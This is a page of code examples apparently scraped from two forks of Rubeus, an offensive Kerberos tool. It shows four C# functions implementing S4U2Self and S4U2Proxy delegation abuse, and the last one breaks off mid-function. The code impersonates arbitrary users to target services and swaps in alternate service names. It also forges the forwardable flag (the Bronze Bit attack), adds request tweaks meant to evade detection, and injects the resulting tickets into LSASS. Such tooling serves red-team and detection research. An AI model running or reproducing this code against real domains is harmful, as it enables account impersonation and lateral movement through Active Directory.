예제 #1
0
파일: S4U.cs 프로젝트: PowerOlive/Rubeus
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]);

            // needed for authenticator checksum
            byte[] cksum_Bytes = null;

            // the rest of the opsec changes
            if (opsec)
            {
                // remove renewableok and add canonicalize
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;

                // 15 minutes in the future like genuine requests
                DateTime till = DateTime.Now;
                till = till.AddMinutes(15);
                s4u2proxyReq.req_body.till = till;

                // extra etypes
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);

                // get hostname and hostname of SPN
                string hostName = Dns.GetHostName().ToUpper();
                string targetHostName;
                if (parts.Length > 1)
                {
                    targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
                }
                else
                {
                    targetHostName = hostName;
                }

                // create enc-authorization-data if target host is not the local machine
                if (hostName != targetHostName)
                {
                    // authdata requires key and etype from tgs
                    byte[]             tgsKey   = tgs.enc_part.ticket_info[0].key.keyvalue;
                    Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype;

                    ADIfRelevant       ifrelevant   = new ADIfRelevant();
                    ADRestrictionEntry restrictions = new ADRestrictionEntry();
                    ADKerbLocal        kerbLocal    = new ADKerbLocal();
                    ifrelevant.ADData.Add(restrictions);
                    ifrelevant.ADData.Add(kerbLocal);
                    AsnElt authDataSeq = ifrelevant.Encode();
                    authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
                    byte[] authorizationDataBytes = authDataSeq.Encode();
                    byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes);
                    s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data);
                }

                // encode req_body for authenticator cksum
                AsnElt req_Body_ASN    = s4u2proxyReq.req_body.Encode();
                AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
                req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
                byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
                cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
            }

            // moved to end so we can have the checksum in the authenticator
            PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            byte[] response2 = null;

            if (String.IsNullOrEmpty(proxyUrl))
            {
                string dcIP = Networking.GetDCIP(domainController);
                if (String.IsNullOrEmpty(dcIP))
                {
                    return;
                }

                Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP);

                response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            }
            else
            {
                Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl);
                KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes);
                message.target_domain = domain;
                response2             = Networking.MakeProxyRequest(proxyUrl, message);
            }
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        if (Rubeus.Program.wrapTickets)
                        {
                            // display the .kirbi base64, columns of 80 chararacters
                            foreach (string line in Helpers.Split(kirbiString, 80))
                            {
                                Console.WriteLine("      {0}", line);
                            }
                        }
                        else
                        {
                            Console.WriteLine("      {0}", kirbiString);
                        }

                        if (!String.IsNullOrEmpty(outfile))
                        {
                            string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
                            filename = Helpers.MakeValidFileName(filename);
                            if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                            {
                                Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                            }
                        }

                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            ImportTicket(kirbiBytes, createnetonly, show);
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    if (!String.IsNullOrEmpty(outfile))
                    {
                        string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
                        filename = Helpers.MakeValidFileName(filename);
                        if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                        }
                    }

                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        ImportTicket(kirbiBytes, createnetonly, show);
                    }
                }
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
예제 #2
0
파일: S4U.cs 프로젝트: PowerOlive/Rubeus
        private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false)
        {
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);

            byte[] response = null;

            if (String.IsNullOrEmpty(proxyUrl))
            {
                string dcIP = Networking.GetDCIP(domainController);
                if (String.IsNullOrEmpty(dcIP))
                {
                    return(null);
                }
                Console.WriteLine("[*] Sending S4U2self request to {0}:88", dcIP);
                response = Networking.SendBytes(dcIP, 88, tgsBytes);
            }
            else
            {
                Console.WriteLine("[*] Sending S4U2self request via KDC proxy: {0}", proxyUrl);
                KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(tgsBytes);
                message.target_domain = domain;
                response = Networking.MakeProxyRequest(proxyUrl, message);
            }
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // if we want to use this s4u2self ticket for authentication, change the sname
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    rep.ticket.sname.name_string[0] = altService.Split('/')[0];
                    rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
                }

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;
                if (bronzebit && !String.IsNullOrEmpty(keyString))
                {
                    Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
                    info.flags |= Interop.TicketFlags.forwardable;

                    // get user longterm key from keyString
                    byte[] key = Helpers.StringToByteArray(keyString);

                    // decrypt and decode ticket encpart
                    var decTicketPart = rep.ticket.Decrypt(key, null, true);

                    // modify flags
                    decTicketPart.flags |= Interop.TicketFlags.forwardable;

                    // encode and encrypt ticket encpart
                    byte[] encTicketData = decTicketPart.Encode().Encode();
                    byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
                    rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno);
                    Console.WriteLine("[*] Flags changed to: {0}", info.flags);
                }

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // if we want to use the s4u2self change the sname here too
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
                    info.sname.name_string[0] = altService.Split('/')[0];
                    info.sname.name_string.Add(altService.Split('/')[1]);
                }

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
                Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }

                Console.WriteLine("");

                if (!String.IsNullOrEmpty(outfile))
                {
                    string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                    filename = Helpers.MakeValidFileName(filename);
                    if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                    }
                }

                if (ptt && self)
                {
                    // pass-the-ticket -> import into LSASS
                    ImportTicket(kirbiBytes, createnetonly, show);
                }

                return(cred);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
예제 #3
0
파일: S4U.cs 프로젝트: JonTargaryen/Rubeus
        private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "")
        {
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser);

            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
                Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

                // display the .kirbi base64, columns of 80 chararacters
                foreach (string line in Helpers.Split(kirbiString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
                Console.WriteLine("");

                if (!String.IsNullOrEmpty(outfile))
                {
                    string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                    filename = Helpers.MakeValidFileName(filename);
                    if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                    }
                }

                return(rep.ticket);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
예제 #4
0
파일: S4U.cs 프로젝트: JonTargaryen/Rubeus
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ();
            PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = 2;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }

                        if (!String.IsNullOrEmpty(outfile))
                        {
                            string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
                            filename = Helpers.MakeValidFileName(filename);
                            if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                            {
                                Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                            }
                        }

                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }

                    if (!String.IsNullOrEmpty(outfile))
                    {
